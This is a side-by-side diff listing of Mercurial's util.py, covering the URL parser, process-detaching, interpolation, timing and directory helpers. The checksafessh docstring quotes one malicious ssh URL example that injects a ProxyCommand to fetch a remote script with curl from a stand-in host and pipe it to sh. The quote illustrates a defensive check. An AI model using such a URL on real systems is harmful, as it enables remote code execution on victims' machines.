2502 | 2514 | if type(fp) is file: |
|
2503 | 2515 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2504 | 2516 | if fastpath: |
|
2505 | 2517 | return fp |
|
2506 | 2518 | else: |
|
2507 | 2519 | return _safeiterfile(fp) |
|
2508 | 2520 | else: |
|
2509 | 2521 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2510 | 2522 | def iterfile(fp): |
|
2511 | 2523 | return fp |
|
2512 | 2524 | |
|
2513 | 2525 | def iterlines(iterator): |
|
2514 | 2526 | for chunk in iterator: |
|
2515 | 2527 | for line in chunk.splitlines(): |
|
2516 | 2528 | yield line |
|
2517 | 2529 | |
|
2518 | 2530 | def expandpath(path): |
|
2519 | 2531 | return os.path.expanduser(os.path.expandvars(path)) |
|
2520 | 2532 | |
|
2521 | 2533 | def hgcmd(): |
|
2522 | 2534 | """Return the command used to execute current hg |
|
2523 | 2535 | |
|
2524 | 2536 | This is different from hgexecutable() because on Windows we want |
|
2525 | 2537 | to avoid things opening new shell windows like batch files, so we |
|
2526 | 2538 | get either the python call or current executable. |
|
2527 | 2539 | """ |
|
2528 | 2540 | if mainfrozen(): |
|
2529 | 2541 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
2530 | 2542 | # Env variable set by py2app |
|
2531 | 2543 | return [encoding.environ['EXECUTABLEPATH']] |
|
2532 | 2544 | else: |
|
2533 | 2545 | return [pycompat.sysexecutable] |
|
2534 | 2546 | return gethgcmd() |
|
2535 | 2547 | |
|
2536 | 2548 | def rundetached(args, condfn): |
|
2537 | 2549 | """Execute the argument list in a detached process. |
|
2538 | 2550 | |
|
2539 | 2551 | condfn is a callable which is called repeatedly and should return |
|
2540 | 2552 | True once the child process is known to have started successfully. |
|
2541 | 2553 | At this point, the child process PID is returned. If the child |
|
2542 | 2554 | process fails to start or finishes before condfn() evaluates to |
|
2543 | 2555 | True, return -1. |
|
2544 | 2556 | """ |
|
2545 | 2557 | # Windows case is easier because the child process is either |
|
2546 | 2558 | # successfully starting and validating the condition or exiting |
|
2547 | 2559 | # on failure. We just poll on its PID. On Unix, if the child |
|
2548 | 2560 | # process fails to start, it will be left in a zombie state until |
|
2549 | 2561 | # the parent wait on it, which we cannot do since we expect a long |
|
2550 | 2562 | # running process on success. Instead we listen for SIGCHLD telling |
|
2551 | 2563 | # us our child process terminated. |
|
2552 | 2564 | terminated = set() |
|
2553 | 2565 | def handler(signum, frame): |
|
2554 | 2566 | terminated.add(os.wait()) |
|
2555 | 2567 | prevhandler = None |
|
2556 | 2568 | SIGCHLD = getattr(signal, 'SIGCHLD', None) |
|
2557 | 2569 | if SIGCHLD is not None: |
|
2558 | 2570 | prevhandler = signal.signal(SIGCHLD, handler) |
|
2559 | 2571 | try: |
|
2560 | 2572 | pid = spawndetached(args) |
|
2561 | 2573 | while not condfn(): |
|
2562 | 2574 | if ((pid in terminated or not testpid(pid)) |
|
2563 | 2575 | and not condfn()): |
|
2564 | 2576 | return -1 |
|
2565 | 2577 | time.sleep(0.1) |
|
2566 | 2578 | return pid |
|
2567 | 2579 | finally: |
|
2568 | 2580 | if prevhandler is not None: |
|
2569 | 2581 | signal.signal(signal.SIGCHLD, prevhandler) |
|
2570 | 2582 | |
|
2571 | 2583 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2572 | 2584 | """Return the result of interpolating items in the mapping into string s. |
|
2573 | 2585 | |
|
2574 | 2586 | prefix is a single character string, or a two character string with |
|
2575 | 2587 | a backslash as the first character if the prefix needs to be escaped in |
|
2576 | 2588 | a regular expression. |
|
2577 | 2589 | |
|
2578 | 2590 | fn is an optional function that will be applied to the replacement text |
|
2579 | 2591 | just before replacement. |
|
2580 | 2592 | |
|
2581 | 2593 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2582 | 2594 | its escaping. |
|
2583 | 2595 | """ |
|
2584 | 2596 | fn = fn or (lambda s: s) |
|
2585 | 2597 | patterns = '|'.join(mapping.keys()) |
|
2586 | 2598 | if escape_prefix: |
|
2587 | 2599 | patterns += '|' + prefix |
|
2588 | 2600 | if len(prefix) > 1: |
|
2589 | 2601 | prefix_char = prefix[1:] |
|
2590 | 2602 | else: |
|
2591 | 2603 | prefix_char = prefix |
|
2592 | 2604 | mapping[prefix_char] = prefix_char |
|
2593 | 2605 | r = remod.compile(r'%s(%s)' % (prefix, patterns)) |
|
2594 | 2606 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2595 | 2607 | |
|
2596 | 2608 | def getport(port): |
|
2597 | 2609 | """Return the port for a given network service. |
|
2598 | 2610 | |
|
2599 | 2611 | If port is an integer, it's returned as is. If it's a string, it's |
|
2600 | 2612 | looked up using socket.getservbyname(). If there's no matching |
|
2601 | 2613 | service, error.Abort is raised. |
|
2602 | 2614 | """ |
|
2603 | 2615 | try: |
|
2604 | 2616 | return int(port) |
|
2605 | 2617 | except ValueError: |
|
2606 | 2618 | pass |
|
2607 | 2619 | |
|
2608 | 2620 | try: |
|
2609 | 2621 | return socket.getservbyname(port) |
|
2610 | 2622 | except socket.error: |
|
2611 | 2623 | raise Abort(_("no port number associated with service '%s'") % port) |
|
2612 | 2624 | |
|
2613 | 2625 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
|
2614 | 2626 | '0': False, 'no': False, 'false': False, 'off': False, |
|
2615 | 2627 | 'never': False} |
|
2616 | 2628 | |
|
2617 | 2629 | def parsebool(s): |
|
2618 | 2630 | """Parse s into a boolean. |
|
2619 | 2631 | |
|
2620 | 2632 | If s is not a valid boolean, returns None. |
|
2621 | 2633 | """ |
|
2622 | 2634 | return _booleans.get(s.lower(), None) |
|
2623 | 2635 | |
|
2624 | 2636 | _hextochr = dict((a + b, chr(int(a + b, 16))) |
|
2625 | 2637 | for a in string.hexdigits for b in string.hexdigits) |
|
2626 | 2638 | |
|
2627 | 2639 | class url(object): |
|
2628 | 2640 | r"""Reliable URL parser. |
|
2629 | 2641 | |
|
2630 | 2642 | This parses URLs and provides attributes for the following |
|
2631 | 2643 | components: |
|
2632 | 2644 | |
|
2633 | 2645 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2634 | 2646 | |
|
2635 | 2647 | Missing components are set to None. The only exception is |
|
2636 | 2648 | fragment, which is set to '' if present but empty. |
|
2637 | 2649 | |
|
2638 | 2650 | If parsefragment is False, fragment is included in query. If |
|
2639 | 2651 | parsequery is False, query is included in path. If both are |
|
2640 | 2652 | False, both fragment and query are included in path. |
|
2641 | 2653 | |
|
2642 | 2654 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2643 | 2655 | |
|
2644 | 2656 | Note that for backward compatibility reasons, bundle URLs do not |
|
2645 | 2657 | take host names. That means 'bundle://../' has a path of '../'. |
|
2646 | 2658 | |
|
2647 | 2659 | Examples: |
|
2648 | 2660 | |
|
2649 | 2661 | >>> url('http://www.ietf.org/rfc/rfc2396.txt') |
|
2650 | 2662 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2651 | 2663 | >>> url('ssh://[::1]:2200//home/joe/repo') |
|
2652 | 2664 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2653 | 2665 | >>> url('file:///home/joe/repo') |
|
2654 | 2666 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2655 | 2667 | >>> url('file:///c:/temp/foo/') |
|
2656 | 2668 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2657 | 2669 | >>> url('bundle:foo') |
|
2658 | 2670 | <url scheme: 'bundle', path: 'foo'> |
|
2659 | 2671 | >>> url('bundle://../foo') |
|
2660 | 2672 | <url scheme: 'bundle', path: '../foo'> |
|
2661 | 2673 | >>> url(r'c:\foo\bar') |
|
2662 | 2674 | <url path: 'c:\\foo\\bar'> |
|
2663 | 2675 | >>> url(r'\\blah\blah\blah') |
|
2664 | 2676 | <url path: '\\\\blah\\blah\\blah'> |
|
2665 | 2677 | >>> url(r'\\blah\blah\blah#baz') |
|
2666 | 2678 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2667 | 2679 | >>> url(r'file:///C:\users\me') |
|
2668 | 2680 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2669 | 2681 | |
|
2670 | 2682 | Authentication credentials: |
|
2671 | 2683 | |
|
2672 | 2684 | >>> url('ssh://joe:xyz@x/repo') |
|
2673 | 2685 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2674 | 2686 | >>> url('ssh://joe@x/repo') |
|
2675 | 2687 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2676 | 2688 | |
|
2677 | 2689 | Query strings and fragments: |
|
2678 | 2690 | |
|
2679 | 2691 | >>> url('http://host/a?b#c') |
|
2680 | 2692 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2681 | 2693 | >>> url('http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2682 | 2694 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2683 | 2695 | |
|
2684 | 2696 | Empty path: |
|
2685 | 2697 | |
|
2686 | 2698 | >>> url('') |
|
2687 | 2699 | <url path: ''> |
|
2688 | 2700 | >>> url('#a') |
|
2689 | 2701 | <url path: '', fragment: 'a'> |
|
2690 | 2702 | >>> url('http://host/') |
|
2691 | 2703 | <url scheme: 'http', host: 'host', path: ''> |
|
2692 | 2704 | >>> url('http://host/#a') |
|
2693 | 2705 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
2694 | 2706 | |
|
2695 | 2707 | Only scheme: |
|
2696 | 2708 | |
|
2697 | 2709 | >>> url('http:') |
|
2698 | 2710 | <url scheme: 'http'> |
|
2699 | 2711 | """ |
|
2700 | 2712 | |
|
2701 | 2713 | _safechars = "!~*'()+" |
|
2702 | 2714 | _safepchars = "/!~*'()+:\\" |
|
2703 | 2715 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
|
2704 | 2716 | |
|
2705 | 2717 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
2706 | 2718 | # We slowly chomp away at path until we have only the path left |
|
2707 | 2719 | self.scheme = self.user = self.passwd = self.host = None |
|
2708 | 2720 | self.port = self.path = self.query = self.fragment = None |
|
2709 | 2721 | self._localpath = True |
|
2710 | 2722 | self._hostport = '' |
|
2711 | 2723 | self._origpath = path |
|
2712 | 2724 | |
|
2713 | 2725 | if parsefragment and '#' in path: |
|
2714 | 2726 | path, self.fragment = path.split('#', 1) |
|
2715 | 2727 | |
|
2716 | 2728 | # special case for Windows drive letters and UNC paths |
|
2717 | 2729 | if hasdriveletter(path) or path.startswith('\\\\'): |
|
2718 | 2730 | self.path = path |
|
2719 | 2731 | return |
|
2720 | 2732 | |
|
2721 | 2733 | # For compatibility reasons, we can't handle bundle paths as |
|
2722 | 2734 | # normal URLS |
|
2723 | 2735 | if path.startswith('bundle:'): |
|
2724 | 2736 | self.scheme = 'bundle' |
|
2725 | 2737 | path = path[7:] |
|
2726 | 2738 | if path.startswith('//'): |
|
2727 | 2739 | path = path[2:] |
|
2728 | 2740 | self.path = path |
|
2729 | 2741 | return |
|
2730 | 2742 | |
|
2731 | 2743 | if self._matchscheme(path): |
|
2732 | 2744 | parts = path.split(':', 1) |
|
2733 | 2745 | if parts[0]: |
|
2734 | 2746 | self.scheme, path = parts |
|
2735 | 2747 | self._localpath = False |
|
2736 | 2748 | |
|
2737 | 2749 | if not path: |
|
2738 | 2750 | path = None |
|
2739 | 2751 | if self._localpath: |
|
2740 | 2752 | self.path = '' |
|
2741 | 2753 | return |
|
2742 | 2754 | else: |
|
2743 | 2755 | if self._localpath: |
|
2744 | 2756 | self.path = path |
|
2745 | 2757 | return |
|
2746 | 2758 | |
|
2747 | 2759 | if parsequery and '?' in path: |
|
2748 | 2760 | path, self.query = path.split('?', 1) |
|
2749 | 2761 | if not path: |
|
2750 | 2762 | path = None |
|
2751 | 2763 | if not self.query: |
|
2752 | 2764 | self.query = None |
|
2753 | 2765 | |
|
2754 | 2766 | # // is required to specify a host/authority |
|
2755 | 2767 | if path and path.startswith('//'): |
|
2756 | 2768 | parts = path[2:].split('/', 1) |
|
2757 | 2769 | if len(parts) > 1: |
|
2758 | 2770 | self.host, path = parts |
|
2759 | 2771 | else: |
|
2760 | 2772 | self.host = parts[0] |
|
2761 | 2773 | path = None |
|
2762 | 2774 | if not self.host: |
|
2763 | 2775 | self.host = None |
|
2764 | 2776 | # path of file:///d is /d |
|
2765 | 2777 | # path of file:///d:/ is d:/, not /d:/ |
|
2766 | 2778 | if path and not hasdriveletter(path): |
|
2767 | 2779 | path = '/' + path |
|
2768 | 2780 | |
|
2769 | 2781 | if self.host and '@' in self.host: |
|
2770 | 2782 | self.user, self.host = self.host.rsplit('@', 1) |
|
2771 | 2783 | if ':' in self.user: |
|
2772 | 2784 | self.user, self.passwd = self.user.split(':', 1) |
|
2773 | 2785 | if not self.host: |
|
2774 | 2786 | self.host = None |
|
2775 | 2787 | |
|
2776 | 2788 | # Don't split on colons in IPv6 addresses without ports |
|
2777 | 2789 | if (self.host and ':' in self.host and |
|
2778 | 2790 | not (self.host.startswith('[') and self.host.endswith(']'))): |
|
2779 | 2791 | self._hostport = self.host |
|
2780 | 2792 | self.host, self.port = self.host.rsplit(':', 1) |
|
2781 | 2793 | if not self.host: |
|
2782 | 2794 | self.host = None |
|
2783 | 2795 | |
|
2784 | 2796 | if (self.host and self.scheme == 'file' and |
|
2785 | 2797 | self.host not in ('localhost', '127.0.0.1', '[::1]')): |
|
2786 | 2798 | raise Abort(_('file:// URLs can only refer to localhost')) |
|
2787 | 2799 | |
|
2788 | 2800 | self.path = path |
|
2789 | 2801 | |
|
2790 | 2802 | # leave the query string escaped |
|
2791 | 2803 | for a in ('user', 'passwd', 'host', 'port', |
|
2792 | 2804 | 'path', 'fragment'): |
|
2793 | 2805 | v = getattr(self, a) |
|
2794 | 2806 | if v is not None: |
|
2795 | 2807 | setattr(self, a, urlreq.unquote(v)) |
|
2796 | 2808 | |
|
2797 | 2809 | def __repr__(self): |
|
2798 | 2810 | attrs = [] |
|
2799 | 2811 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
|
2800 | 2812 | 'query', 'fragment'): |
|
2801 | 2813 | v = getattr(self, a) |
|
2802 | 2814 | if v is not None: |
|
2803 | 2815 | attrs.append('%s: %r' % (a, v)) |
|
2804 | 2816 | return '<url %s>' % ', '.join(attrs) |
|
2805 | 2817 | |
|
2806 | 2818 | def __bytes__(self): |
|
2807 | 2819 | r"""Join the URL's components back into a URL string. |
|
2808 | 2820 | |
|
2809 | 2821 | Examples: |
|
2810 | 2822 | |
|
2811 | 2823 | >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
2812 | 2824 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
2813 | 2825 | >>> str(url('http://user:pw@host:80/?foo=bar&baz=42')) |
|
2814 | 2826 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
2815 | 2827 | >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz')) |
|
2816 | 2828 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
2817 | 2829 | >>> str(url('ssh://user:pw@[::1]:2200//home/joe#')) |
|
2818 | 2830 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
2819 | 2831 | >>> str(url('http://localhost:80//')) |
|
2820 | 2832 | 'http://localhost:80//' |
|
2821 | 2833 | >>> str(url('http://localhost:80/')) |
|
2822 | 2834 | 'http://localhost:80/' |
|
2823 | 2835 | >>> str(url('http://localhost:80')) |
|
2824 | 2836 | 'http://localhost:80/' |
|
2825 | 2837 | >>> str(url('bundle:foo')) |
|
2826 | 2838 | 'bundle:foo' |
|
2827 | 2839 | >>> str(url('bundle://../foo')) |
|
2828 | 2840 | 'bundle:../foo' |
|
2829 | 2841 | >>> str(url('path')) |
|
2830 | 2842 | 'path' |
|
2831 | 2843 | >>> str(url('file:///tmp/foo/bar')) |
|
2832 | 2844 | 'file:///tmp/foo/bar' |
|
2833 | 2845 | >>> str(url('file:///c:/tmp/foo/bar')) |
|
2834 | 2846 | 'file:///c:/tmp/foo/bar' |
|
2835 | 2847 | >>> print url(r'bundle:foo\bar') |
|
2836 | 2848 | bundle:foo\bar |
|
2837 | 2849 | >>> print url(r'file:///D:\data\hg') |
|
2838 | 2850 | file:///D:\data\hg |
|
2839 | 2851 | """ |
|
2840 | 2852 | if self._localpath: |
|
2841 | 2853 | s = self.path |
|
2842 | 2854 | if self.scheme == 'bundle': |
|
2843 | 2855 | s = 'bundle:' + s |
|
2844 | 2856 | if self.fragment: |
|
2845 | 2857 | s += '#' + self.fragment |
|
2846 | 2858 | return s |
|
2847 | 2859 | |
|
2848 | 2860 | s = self.scheme + ':' |
|
2849 | 2861 | if self.user or self.passwd or self.host: |
|
2850 | 2862 | s += '//' |
|
2851 | 2863 | elif self.scheme and (not self.path or self.path.startswith('/') |
|
2852 | 2864 | or hasdriveletter(self.path)): |
|
2853 | 2865 | s += '//' |
|
2854 | 2866 | if hasdriveletter(self.path): |
|
2855 | 2867 | s += '/' |
|
2856 | 2868 | if self.user: |
|
2857 | 2869 | s += urlreq.quote(self.user, safe=self._safechars) |
|
2858 | 2870 | if self.passwd: |
|
2859 | 2871 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
2860 | 2872 | if self.user or self.passwd: |
|
2861 | 2873 | s += '@' |
|
2862 | 2874 | if self.host: |
|
2863 | 2875 | if not (self.host.startswith('[') and self.host.endswith(']')): |
|
2864 | 2876 | s += urlreq.quote(self.host) |
|
2865 | 2877 | else: |
|
2866 | 2878 | s += self.host |
|
2867 | 2879 | if self.port: |
|
2868 | 2880 | s += ':' + urlreq.quote(self.port) |
|
2869 | 2881 | if self.host: |
|
2870 | 2882 | s += '/' |
|
2871 | 2883 | if self.path: |
|
2872 | 2884 | # TODO: similar to the query string, we should not unescape the |
|
2873 | 2885 | # path when we store it, the path might contain '%2f' = '/', |
|
2874 | 2886 | # which we should *not* escape. |
|
2875 | 2887 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
2876 | 2888 | if self.query: |
|
2877 | 2889 | # we store the query in escaped form. |
|
2878 | 2890 | s += '?' + self.query |
|
2879 | 2891 | if self.fragment is not None: |
|
2880 | 2892 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
2881 | 2893 | return s |
|
2882 | 2894 | |
|
2883 | 2895 | __str__ = encoding.strmethod(__bytes__) |
|
2884 | 2896 | |
|
2885 | 2897 | def authinfo(self): |
|
2886 | 2898 | user, passwd = self.user, self.passwd |
|
2887 | 2899 | try: |
|
2888 | 2900 | self.user, self.passwd = None, None |
|
2889 | 2901 | s = bytes(self) |
|
2890 | 2902 | finally: |
|
2891 | 2903 | self.user, self.passwd = user, passwd |
|
2892 | 2904 | if not self.user: |
|
2893 | 2905 | return (s, None) |
|
2894 | 2906 | # authinfo[1] is passed to urllib2 password manager, and its |
|
2895 | 2907 | # URIs must not contain credentials. The host is passed in the |
|
2896 | 2908 | # URIs list because Python < 2.4.3 uses only that to search for |
|
2897 | 2909 | # a password. |
|
2898 | 2910 | return (s, (None, (s, self.host), |
|
2899 | 2911 | self.user, self.passwd or '')) |
|
2900 | 2912 | |
|
2901 | 2913 | def isabs(self): |
|
2902 | 2914 | if self.scheme and self.scheme != 'file': |
|
2903 | 2915 | return True # remote URL |
|
2904 | 2916 | if hasdriveletter(self.path): |
|
2905 | 2917 | return True # absolute for our purposes - can't be joined() |
|
2906 | 2918 | if self.path.startswith(br'\\'): |
|
2907 | 2919 | return True # Windows UNC path |
|
2908 | 2920 | if self.path.startswith('/'): |
|
2909 | 2921 | return True # POSIX-style |
|
2910 | 2922 | return False |
|
2911 | 2923 | |
|
2912 | 2924 | def localpath(self): |
|
2913 | 2925 | if self.scheme == 'file' or self.scheme == 'bundle': |
|
2914 | 2926 | path = self.path or '/' |
|
2915 | 2927 | # For Windows, we need to promote hosts containing drive |
|
2916 | 2928 | # letters to paths with drive letters. |
|
2917 | 2929 | if hasdriveletter(self._hostport): |
|
2918 | 2930 | path = self._hostport + '/' + self.path |
|
2919 | 2931 | elif (self.host is not None and self.path |
|
2920 | 2932 | and not hasdriveletter(path)): |
|
2921 | 2933 | path = '/' + path |
|
2922 | 2934 | return path |
|
2923 | 2935 | return self._origpath |
|
2924 | 2936 | |
|
2925 | 2937 | def islocal(self): |
|
2926 | 2938 | '''whether localpath will return something that posixfile can open''' |
|
2927 | 2939 | return (not self.scheme or self.scheme == 'file' |
|
2928 | 2940 | or self.scheme == 'bundle') |
|
2929 | 2941 | |
|
2930 | 2942 | def hasscheme(path): |
|
2931 | 2943 | return bool(url(path).scheme) |
|
2932 | 2944 | |
|
2933 | 2945 | def hasdriveletter(path): |
|
2934 | 2946 | return path and path[1:2] == ':' and path[0:1].isalpha() |
|
2935 | 2947 | |
|
2936 | 2948 | def urllocalpath(path): |
|
2937 | 2949 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
2938 | 2950 | |
|
2939 | 2951 | def checksafessh(path): |
|
2940 | 2952 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
2941 | 2953 | |
|
2942 | 2954 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
2943 | 2955 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
2944 | 2956 | Let's prevent these potentially exploited urls entirely and warn the |
|
2945 | 2957 | user. |
|
2946 | 2958 | |
|
2947 | 2959 | Raises an error.Abort when the url is unsafe. |
|
2948 | 2960 | """ |
|
2949 | 2961 | path = urlreq.unquote(path) |
|
2950 | 2962 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
|
2951 | 2963 | raise error.Abort(_('potentially unsafe url: %r') % |
|
2952 | 2964 | (path,)) |
|
2953 | 2965 | |
|
2954 | 2966 | def hidepassword(u): |
|
2955 | 2967 | '''hide user credential in a url string''' |
|
2956 | 2968 | u = url(u) |
|
2957 | 2969 | if u.passwd: |
|
2958 | 2970 | u.passwd = '***' |
|
2959 | 2971 | return bytes(u) |
|
2960 | 2972 | |
|
2961 | 2973 | def removeauth(u): |
|
2962 | 2974 | '''remove all authentication information from a url string''' |
|
2963 | 2975 | u = url(u) |
|
2964 | 2976 | u.user = u.passwd = None |
|
2965 | 2977 | return str(u) |
|
2966 | 2978 | |
|
2967 | 2979 | timecount = unitcountfn( |
|
2968 | 2980 | (1, 1e3, _('%.0f s')), |
|
2969 | 2981 | (100, 1, _('%.1f s')), |
|
2970 | 2982 | (10, 1, _('%.2f s')), |
|
2971 | 2983 | (1, 1, _('%.3f s')), |
|
2972 | 2984 | (100, 0.001, _('%.1f ms')), |
|
2973 | 2985 | (10, 0.001, _('%.2f ms')), |
|
2974 | 2986 | (1, 0.001, _('%.3f ms')), |
|
2975 | 2987 | (100, 0.000001, _('%.1f us')), |
|
2976 | 2988 | (10, 0.000001, _('%.2f us')), |
|
2977 | 2989 | (1, 0.000001, _('%.3f us')), |
|
2978 | 2990 | (100, 0.000000001, _('%.1f ns')), |
|
2979 | 2991 | (10, 0.000000001, _('%.2f ns')), |
|
2980 | 2992 | (1, 0.000000001, _('%.3f ns')), |
|
2981 | 2993 | ) |
|
2982 | 2994 | |
|
2983 | 2995 | _timenesting = [0] |
|
2984 | 2996 | |
|
2985 | 2997 | def timed(func): |
|
2986 | 2998 | '''Report the execution time of a function call to stderr. |
|
2987 | 2999 | |
|
2988 | 3000 | During development, use as a decorator when you need to measure |
|
2989 | 3001 | the cost of a function, e.g. as follows: |
|
2990 | 3002 | |
|
2991 | 3003 | @util.timed |
|
2992 | 3004 | def foo(a, b, c): |
|
2993 | 3005 | pass |
|
2994 | 3006 | ''' |
|
2995 | 3007 | |
|
2996 | 3008 | def wrapper(*args, **kwargs): |
|
2997 | 3009 | start = timer() |
|
2998 | 3010 | indent = 2 |
|
2999 | 3011 | _timenesting[0] += indent |
|
3000 | 3012 | try: |
|
3001 | 3013 | return func(*args, **kwargs) |
|
3002 | 3014 | finally: |
|
3003 | 3015 | elapsed = timer() - start |
|
3004 | 3016 | _timenesting[0] -= indent |
|
3005 | 3017 | stderr.write('%s%s: %s\n' % |
|
3006 | 3018 | (' ' * _timenesting[0], func.__name__, |
|
3007 | 3019 | timecount(elapsed))) |
|
3008 | 3020 | return wrapper |
|
3009 | 3021 | |
|
3010 | 3022 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
|
3011 | 3023 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
|
3012 | 3024 | |
|
3013 | 3025 | def sizetoint(s): |
|
3014 | 3026 | '''Convert a space specifier to a byte count. |
|
3015 | 3027 | |
|
3016 | 3028 | >>> sizetoint('30') |
|
3017 | 3029 | 30 |
|
3018 | 3030 | >>> sizetoint('2.2kb') |
|
3019 | 3031 | 2252 |
|
3020 | 3032 | >>> sizetoint('6M') |
|
3021 | 3033 | 6291456 |
|
3022 | 3034 | ''' |
|
3023 | 3035 | t = s.strip().lower() |
|
3024 | 3036 | try: |
|
3025 | 3037 | for k, u in _sizeunits: |
|
3026 | 3038 | if t.endswith(k): |
|
3027 | 3039 | return int(float(t[:-len(k)]) * u) |
|
3028 | 3040 | return int(t) |
|
3029 | 3041 | except ValueError: |
|
3030 | 3042 | raise error.ParseError(_("couldn't parse size: %s") % s) |
|
3031 | 3043 | |
|
3032 | 3044 | class hooks(object): |
|
3033 | 3045 | '''A collection of hook functions that can be used to extend a |
|
3034 | 3046 | function's behavior. Hooks are called in lexicographic order, |
|
3035 | 3047 | based on the names of their sources.''' |
|
3036 | 3048 | |
|
3037 | 3049 | def __init__(self): |
|
3038 | 3050 | self._hooks = [] |
|
3039 | 3051 | |
|
3040 | 3052 | def add(self, source, hook): |
|
3041 | 3053 | self._hooks.append((source, hook)) |
|
3042 | 3054 | |
|
3043 | 3055 | def __call__(self, *args): |
|
3044 | 3056 | self._hooks.sort(key=lambda x: x[0]) |
|
3045 | 3057 | results = [] |
|
3046 | 3058 | for source, hook in self._hooks: |
|
3047 | 3059 | results.append(hook(*args)) |
|
3048 | 3060 | return results |
|
3049 | 3061 | |
|
3050 | 3062 | def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0): |
|
3051 | 3063 | '''Yields lines for a nicely formatted stacktrace. |
|
3052 | 3064 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3053 | 3065 | Each file+linenumber is formatted according to fileline. |
|
3054 | 3066 | Each line is formatted according to line. |
|
3055 | 3067 | If line is None, it yields: |
|
3056 | 3068 | length of longest filepath+line number, |
|
3057 | 3069 | filepath+linenumber, |
|
3058 | 3070 | function |
|
3059 | 3071 | |
|
3060 | 3072 | Not be used in production code but very convenient while developing. |
|
3061 | 3073 | ''' |
|
3062 | 3074 | entries = [(fileline % (fn, ln), func) |
|
3063 | 3075 | for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
|
3064 | 3076 | ][-depth:] |
|
3065 | 3077 | if entries: |
|
3066 | 3078 | fnmax = max(len(entry[0]) for entry in entries) |
|
3067 | 3079 | for fnln, func in entries: |
|
3068 | 3080 | if line is None: |
|
3069 | 3081 | yield (fnmax, fnln, func) |
|
3070 | 3082 | else: |
|
3071 | 3083 | yield line % (fnmax, fnln, func) |
|
3072 | 3084 | |
|
3073 | 3085 | def debugstacktrace(msg='stacktrace', skip=0, |
|
3074 | 3086 | f=stderr, otherf=stdout, depth=0): |
|
3075 | 3087 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3076 | 3088 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3077 | 3089 | By default it will flush stdout first. |
|
3078 | 3090 | It can be used everywhere and intentionally does not require an ui object. |
|
3079 | 3091 | Not be used in production code but very convenient while developing. |
|
3080 | 3092 | ''' |
|
3081 | 3093 | if otherf: |
|
3082 | 3094 | otherf.flush() |
|
3083 | 3095 | f.write('%s at:\n' % msg.rstrip()) |
|
3084 | 3096 | for line in getstackframes(skip + 1, depth=depth): |
|
3085 | 3097 | f.write(line) |
|
3086 | 3098 | f.flush() |
|
3087 | 3099 | |
|
3088 | 3100 | class dirs(object): |
|
3089 | 3101 | '''a multiset of directory names from a dirstate or manifest''' |
|
3090 | 3102 | |
|
3091 | 3103 | def __init__(self, map, skip=None): |
|
3092 | 3104 | self._dirs = {} |
|
3093 | 3105 | addpath = self.addpath |
|
3094 | 3106 | if safehasattr(map, 'iteritems') and skip is not None: |
|
3095 | 3107 | for f, s in map.iteritems(): |
|
3096 | 3108 | if s[0] != skip: |
|
3097 | 3109 | addpath(f) |
|
3098 | 3110 | else: |
|
3099 | 3111 | for f in map: |
|
3100 | 3112 | addpath(f) |
|
3101 | 3113 | |
|
3102 | 3114 | def addpath(self, path): |
|
3103 | 3115 | dirs = self._dirs |
|
3104 | 3116 | for base in finddirs(path): |
|
3105 | 3117 | if base in dirs: |
|
3106 | 3118 | dirs[base] += 1 |
|
3107 | 3119 | return |
|
3108 | 3120 | dirs[base] = 1 |
|
3109 | 3121 | |
|
3110 | 3122 | def delpath(self, path): |
|
3111 | 3123 | dirs = self._dirs |
|
3112 | 3124 | for base in finddirs(path): |
|
3113 | 3125 | if dirs[base] > 1: |
|
3114 | 3126 | dirs[base] -= 1 |
|
3115 | 3127 | return |
|
3116 | 3128 | del dirs[base] |
|
3117 | 3129 | |
|
3118 | 3130 | def __iter__(self): |
|
3119 | 3131 | return iter(self._dirs) |
|
3120 | 3132 | |
|
